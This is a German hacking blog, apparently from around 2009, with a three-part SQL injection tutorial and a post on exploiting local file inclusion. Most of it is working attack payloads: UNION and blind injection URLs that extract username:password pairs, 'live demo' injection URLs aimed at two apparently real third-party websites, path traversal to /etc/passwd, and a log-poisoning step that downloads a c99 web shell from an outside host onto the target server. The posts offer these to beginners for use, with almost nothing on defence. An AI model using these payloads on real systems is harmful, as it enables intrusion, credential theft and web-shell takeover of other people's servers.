SQL Injection Tutorial Teil 3

Heyho,

heute werde ich euch versuchen zu erklaeren, wie man eine Blind SQL Injection durchfuehrt.

Was ist/Wann/Warum eine Blind SQL Injection?
Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION” aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so vor, dass man den Server quasi eine Frage stellt und dieser kann nur JA oder NEIN (True/False) antworten. Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann moeglich, wenn eine normale SQL Injection moeglich ist, umgekehrt jedoch nicht.

Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu testen wie/ob der server auf True/False statements reagiert. Wenn ja ist aufjedenfall ne Blind SQL Injection moeglich.

http://www.site.de/news.php?id=5 and 1 = 0

Wichtig: Die ID muss gueltig bleiben, kein minus oder aehnliches davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas fehlen. Dann testen wir ein True Statement:

http://www.site.de/news.php?id=5 and 1 = 1

Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist meistens keine Blind SQL Injection moeglich (gibt auch noch moeglichkeit and ‘1’ = ‘0’ zu verwenden..)

So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an 😉

1) MySQL Version herrausfinden

Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.

Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu → Google 😉

http://www.site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5

/* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.

SUBSTRING(version() ← fragt nach der MySQL Version
,1,1 ← ab dem ersten Zeichen mit der Laenge 1
=5 ← fragt ob die MySQL Version mit 5 beginnt

Fraegt quasi:
… id=5 und “der erste Buchstabe der Version() faengt mit 5 an”.

Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4
Nun sollte die Page richtig geladen werden, da eins der beiden Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal, jedoch ist das selten.

2) Blind SQL Injection durchfuehren

Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.

Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5 wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4 Methode erinnert, und zwar – raten 😉

Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.

Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: http://de.wikipedia.org/wiki/ASCII-Tabelle

Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten sind. Wie man das rausfindet, raten oder eben Scripts verwenden, darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht, bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses Script super zurecht. So nun wollen wir anfangen, im normallfall geht man immer Buchstabe fuer Buchstabe vor:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>80

Erklaerung:
and ASCII( ← Nach dem ASCII wert wird gefragt
SUBSTRNG( ← wird wieder Substring angewendet
(SELECT ← wird eine klammer benutzt
SELECT password FROM users ← wird wieder normal nach dem password aus der Tabelle `users`
limit 0,1) ← Wird nach der aller ersten Zeile gefragt + Query geschlossen
,1,1) ← 1 Zeichen, 1 Laenge
)>80 ← Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80

Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>90

Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der ersten Stelle des Pws is also kleiner als 90.. probieren wir 85

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>85

True..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>86

False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86

Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.

Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..
86 – V
Also beginnt unser PW mit einem großen V

Nun die zweite Stelle des Pws.. ),2,1) Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>90

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>80

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>50

True.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>52

False

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52

True.

Also ist der ASCII wert 52. → 4 laut unserer ASCII Tabelle.

Also sieht unser PW bis jetzt so aus: V4

Nun ),3,1).. usw.. ich denke ihr wisst nun wie 😉

Das macht ihr solange bis

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))>1

False ist.

Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com), welches das alles erleichtert. Aber echte Inject0r machen das per Hand =D

So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection ein, die man als Anfaenger nicht zu wissen braucht.

Auch werde ich dort nen paar sinnvolle und gute links & Tutorials von anderen Leuten zeigen. 🙂

SQL Injection Tutorial Teil 2

Heyho,

werd mir heute Zeit nehmen fuer den zweiten Teil meiner SQL Injection Tutorial Reihe und hier wird es, wie schonmal angesprochen, vorallem um MySQL v5 gehen.

Vorerst noch nen kleiner Nachtrag zum Tutorial gestern, da es ein paar unklarheiten gab.

Zum Punkt ausgeben, mit concat(username,0x3a,password) lohnt es sich ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die Funktion concat_ws() zu benutzten. Das sieht dann so aus:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*

Vorraussetzung ist, dass der Column eMail auch existiert.
Die Ausgabe sieht dann so aus:

Username:Password:eMail

Da es noch was wegen dem “and” gab.

http://www.site.de/news.php?id=5 and 1 = 0

Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page inhaltlich etwas fehlen oder eben auch nen error erscheinen.

http://www.site.de/news.php?id=5 and 1 = 1

Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher sollte hier der Inhalt richtig angezeigt werden.

So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns mit Order By rausbekommen haben, UNION SELECT 1,version(),3 funktioniert und wir dort Version 5.0.45-community oder 5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die Datenbank INFORMATION_SCHEMA. Mehr dazu hier: *klick* (die MySQL Documentation kann oft hilfreich sein). Im Normallfall werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns rausschreibt.

Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: DATENBANK:TABELLE:SPALTE
Das ganze muessen wir so gestalten:

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,table_schema,table_name,column_name),3/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*

Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben, welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was bewirkt das? Das LIMIT waehlt den Datensabsatz/Reihe aus, welche ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 waere der zweite usw..

Nun wird uns ausgegeben:

Datenbankname:tabellenname:spaltenname

Wichtig: Ihr muesst beachten, wenn mehrere Datenbanken sich auf dem Server befinden, muessen wir die richtige DB im FROM Statement mit einem Punkt auswaehlen. Das heißt, wenn die DB lol heißt und die Tabelle users dann sieht das so aus:

... FROM lol.users...

Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in der Tabelle Columns man DB name, tabellen name und column name auslesen kann, ist manchmal sehr wichtig.

Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei webuser:users:username bei LIMIT 301,1 und bei 302,1 webuser:users:password steht (db name is frei erfunden), dann wissen wir nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten sind username und password”. Koennt auch noch 303,1 machen usw.. irgendwann erscheint ein error (oder eine weiße seite) und dann wisst ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren. Ist natuerlich totaler stuss das immer eins aufzuzaehlen, ich mach das in 50er schritten. Wie gesagt, Scripts koennen hier helfen, darkc0de hat tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob ihr irgendeine tabelle mit users oder admins oder aehnliches seht und dann dort eben in 1er schritten weiter.

Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen 😉

Das war nun Teil 2 von meiner Tutorial Reihe, der kuerzeste Teil, da man zu Version 5 nicht viel erzaehlen kann^^

Hier noch schnell zwei Live Demos:
MySQL version 4:

http://www.wochenspiegel-saarland.de/index.php?id=43&doc=-81980/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,unhex(hex(version())),12,13,14,15,16,17,18,19,20,21,22,23/*

MySQL version 5:

http://www.sbcommunicationsgroup.com/media-info.php?id=-1/**/UNION/**/SELECT/**/1,2,3,concat_ws(0x3a,table_schema,table_name,column_name)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*

Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger verstanden habt und es vorallem Neulingen bzw Anfaengern geholfen hat. 🙂

Teil 3 ueber Blind SQL Injections wird denk ich am Freitag folgen, da ich morgen keine Zeit habe.
Kritik/Fehler/Fragen/Vorschlaege wie immer als Comment, danke 🙂

SQL Injection Tutorial Teil 1

Heyhoo,

wie versprochen werde ich nun das vllt von einigen lang erwartete SQL Injection Tutorial schreiben. Ich hatte damals ein recht ausfuehrliches geschrieben, jedoch isses mir irgendwie weg gekommen und ich find es nicht mehr. Nichts desto trotz werde ich euch hier einiges ueber SQL Injections zeigen, jedoch gehe ich mehr darauf ein wie eine SQL Injection funktioniert und wie man dadurch an nuetzliche Informationen kommt. Wichtig, das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder aehnliches sieht das ganze total anders aus. Da MySQL die “populaerste Open Source” Datenbank ist, wird sie daher auch am haeufigsten verwendet.

Was ist eine SQL Injection?

Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:

SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.

Heißt kurz und knapp, ihr koennt an das Admin PW kommen. 😀

Nun ich werde das Tutorial in 4 Teile aufteilen, der erste Teil wird der laengste und ausfuehrlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.

Dann fangen wir mal an 😉

0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen fuer eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man oefters und schneller Luecken finden. Auch wird man Luecken nachvollziehen koennen; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu machen, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen koennen. Das reicht dann auch fuer ne normale SQL Injection.

1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma dieses ‘ dranhaengen um einen Error auszuloesen, beispiel:

http://www.site.de/news.php?id=5'

Wenn sich an der Seite nun nichts aendert, gut, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…

Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die verwundbarkeit zeigen.

Schauen wir uns das mal genauer in einem Beispiel Source an:

SELECT * FROM news WHERE id = 5'

Hier sieht man das unser Hochkomma das Query stoert.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann waere auch keine SQL Injection moeglich)
Aber unser Query koennte auch so aussehen:

SELECT * FROM news WHERE id = '5''

Jedoch auch hier sieht man was stoert. Naemlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Luecke gefunden.

Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True pruefen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page veraendert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt aendert, oder ne Fehlermeldung kommt. Seht ihr dann auch.

2) Anzahl der Columns rausfinden
Da wir spaeter den Befehl UNION benutzen wollen (dazu spaeter mehr) brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewaehlt werden, wuerde unser Query aber so aussehen:

SELECT author,datum,text FROM news WHERE id = 5

Dann waere die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, muessen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:

http://www.site.de/news.php?id=5+order+by+1/*

(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhaengen, dies ist Query abhaengig.

Falls noch ein Error kommt, muessen wir unsere Abfrage mit einem anderen Kommentarzeichen aendern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normal immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.

http://www.site.de/news.php?id=5+order+by+5/*

<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“ http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam. Nun haben wir die Column Anzahl vom ersten Query. 3) UNION verwenden
Durch UNION koennen wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:

SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*

Auch hier ist das Auskommentieren am Schluss wichtig.

Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, muessen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:

http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*

Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ 🙂

So falls ihr nun aufm Bildschirm zahlen seht, die 1,2 oder 3, dann funktioniert unser UNION SELECT Statement sehr haeufig oder eigentlich sogut wie immer muss man die ID erst ungueltig machen, entweder durch ein minus – was ich gerne und oft benutzte oder durch eine hohe Zahl/ID welche nicht existiert.
Sieht dann so aus:

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*

Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das muesste man dann anders machen, kommt bei Teil 3 von meinem Tut genauer drauf zu sprechen.

4) MySQL Version ermitteln

So, wenn wir nun eine 1,2 oder 3 aufm Bildschirm sehen, dann koennen wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x4A30686E2E583372 und sehen beim Druecken auf Enter auf einmal dort wo die 2 war “J0hn.X3r” stehen 😀
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir aufm Bildschirm sehen und ersetzen es in der URL mit version().

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*

(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*

(ich benutzt das erstere lieber)

Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.

Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“

Dann muessen wir die Convert Funktion benutzen, in diesem falle dann

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*

oder

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*

Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.

Bsp.:

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*

Nun wird die Version angezeigt und es erscheint kein Fehler mehr.

5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.

V4 ist bissle doof, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.

Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, muessen wir nen zweites simples MySQL Query machen.

...UNION SELECT 1,2,3 FROM tabelle

Das heißt wir wollen schauen ob die Tabelle existiert. “Waehle aus von Tabelle”.

Wie sieht das nun bei uns aus?

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*

Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, Werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..

http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*

In unserem MySQL Query heißt das nun also:

...UNION SELECT 1,username,3 FROM users/*

Waehle Username aus Tabelle “users”.

Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.

Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. 🙂

Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.

http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

0x3a = hex = (ein Doppelpunkt) :

Nun sehen wir dort:

username:password

Und eine Erfolgreiche SQL Injection.

So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verstaendlich vorallem fuer Anfaenger geworden. Fehler, Kritik, Vorschlaege, Fragen einfach als Kommentar posten 🙂

Umzug

Heyho,

da ich mitm Space demnaechst umziehe und es noch kleine Probleme gibt, kann es sein das ihr unter dieser URL auf die verschiedensten Seiten umgeleitet werdet *g*

Ist aber in Arbeit und wird spaetestens morgen Abend behoben sein.

//Edit (27.01.2009 – 13.50 Uhr):

So nun muesste der Umzug ueberstanden sein und wir hatten keinen Datenverlust 🙂 Sollte jemand nochn Bug finden (außer das Design bei Einzelposts), dann einfach melden 🙂

Wir hosten nun bei Team CINIPAC (*klick*), meiner Meinung nach, einer der besten und zuverlaessigsten Hoster mitm netten Admin 🙂

Heut Abend folgt dann Teil 1 von meinem SQL Injections Tutorial 😉

LFI – Ausnutzen einer LFI Luecke

Heyho,

wie versprochen nun noch ein Teil zum Thema LFI (Local File Inclusion). Ich werd euch hier eine Moeglichkeit zeigen, wie man per LFI eine Shell auf den Server bekommt. Das ganze nach n00bors Video Tutorial, welches am Ende noch gepostet wird.

Bei einer LFI Luecke ist das eigentlich fast genauso wie bei einer RFI nur koennen wir hier keine shell von einer externen Seite direkt includen.

Nehmen wir hierzu wieder einen Beispiel Source, um das ganze anschaulicher zu gestalten. Nehmen wir den aus unserem RFI TuT:

<?php
 
if (isset($_GET['file']))
{
include($_GET['file']);
}
else
{
echo "Du hast kein File includet";
}
?>

Als lfi.php speichern. Wuerde genauso mit

<?php
include($_GET['file']);
?>

gehen, aufjedenfall kann man ueber den GET Parameter wieder etwas includen.

Nehmen wir also wieder unsere blub.php

<?php
echo "Das ist eine Includete PHP Datei";
?>

Dann wollen wir mal unsere blub.php includen..

http://localhost/lfi.php?file=blub.php

So nun wird wieder Inhalt unserer blub.php auf der Seite angezeigt das heißt das unsere Datei erfolgreich includet wurde. Normal probiert man nun ob eine RFI moeglich ist, also eine externe Seiten includen, wenn dies nicht moeglich ist, testen wir ob eine LFI moeglich ist.

So wenn wir nun davon ausgehen, dass der Server auf Linux laeuft was ja meistens zutrifft (wer auf Servern Windows benutzt muss schon bissle…) dann gehen wir einfach nen paar Ordner zurueck, beispielsweise soweit:

http://localhost/lfi.php?file=../../../../../../../etc/passwd

Wenn alles gut laeuft, wird euch die etc/passwd angezeigt.
Sieht meistens etwas komisch aus, vllt editiere ich hier noch einen Screenshotbeispiel rein.

Wenn unser Beispiel Script aber etwas anders aussieht, und bei denen das .php automatisch gesetzt wird, etwa so:

<?php
include($_GET['url'].'.php');
?>

In diesem Fall macht man sich die Existenz eines Ascii Zeichens zu nutze, dass einen String als beendet markiert, das Nullbyte, oder in Url enkodierter Form, %00.

(Zitat von Lidloses_Auge, besser haette man es auch nicht sagen koennen :)) Sieht man auf der Seite meistens auch je nach Error ob ein Nullbyte benoetigt wird oder nicht.

Das sieht in unserer Praxis dann so aus:

http://localhost/lfi.php?file=../../../../../../../etc/passwd%00

Und dann wird uns im der Inhalt von der etc/passwd angezeigt. Hier koennten ein paar wichtige PW (servermaessig) drin sein, jedoch gehe ich nun auf was neues ein.

Da nun alle Seitenaufrufe im Apache gespeichert/geloggt werden und durch den Befehl include() es zu einer Ausfuehrung kommen kann, koennen wir dies auch ausnutzen (wenn die Rechte mitspielen).

Fuer uns wird nun jedoch der error.log wichtig sein, da dort, wie man am Namen sieht, saemtliche errors gespeichert werden. Wir werden nach n00bors tutorial vorgehen, da dies nen tolles Beispiel ist, wie man eine LFI Luecke ausnutzen kann. Das ganze laeuft so ab, wir senden einen GET Request ueber Telnet an den Server welcher als Fehler intepretiert wird und in die error.log gespeichert wird.

Dazu nehme ich auch n00bors Code:

GET/<?php $datei = fopen("shell.php","w+");stream = fopen("http://j0hnx3r.org/c99.txt", "r");while (!feof($stream)) { 
$shell .= fgets($stream); } fclose($stream);fwrite($datei,$shell) ;fclose($stream)fclose($datei); ?>

Was passiert hier? Kurz und knapp gesagt, unsere externe Shell wird ausgelesen und Zeile fuer Zeile in der neuen Shell aufm Server gespeichert. Wird quasi 1:1 auf den Server als neue shell kopiert. Was ist der Vorteil dann? Unsere Shell befindet sich auf dem Server und kann aufgerufen werden.

So wir brauchen nun unser CMD Fenster, –> C:\WINDOWS\system32\cmd.exe und geben dort folgende Zeile ein:

telnet localhost 80

localhost dementsprechend mit der IP des Servers editieren. Dann Enter, dann kopieren wir unseren Code rein und druecken auf Enter.

Wenn alles gut geht, muesste im error.log nun unser Code sein.

Nun wollen wir den Code ausfuehren und rufen den error log in unserem Browser auf:

http://localhost/lfi.php?file=../apache/logs/error.log

So wenn nun alles geklappt hat, sollten wir eine Shell auf dem Server haben. Mal nachschauen:

http://localhost/lfi.php?file=shell.php

Und wir sehen eine Shell auf dem Bildschirm.

Bisschen viel Theorie Zeugs ohne Bilder daher hier das Video Tutorial von n00bor:
http://stuff.n00bor.org/Shell_per_LFI/Shell_per_LFI.swf
Und Lidloses_Auge sein Text-Tutorial:
http://free-hack.com/showthread.php?t=17105

War nen Thema bei dem ich mir nicht sicher war, wie ich es euch vermitteln sollte.. Ich hoff trotzdem das ihr davon etwas gelernt habt. 🙂

Zum Schutz vor LFI/RFIs kommt vllt noch nen eigener Blog Eintrag oder irgendwann per Edit noch rein.

Aufjedenfall werd ich morgen mit meinem SQL Injection Tutorial anfangen und das werd ich euch in 4 oder 5 Teilen zeigen, die Aufteilung wird aehnlich wie bei Lidloses_Auge seinen Video Tutorials sein, nur werd ich einiges aufuehrlicher durchnehmen und anhand von Beispielen zeigen. Teil 1 SQL Injections, Teil 2 Was tun wenn MySQL v5, Teil 3 Blind SQL Injections und Teil 4 wird etwas tiefer eingehen. 🙂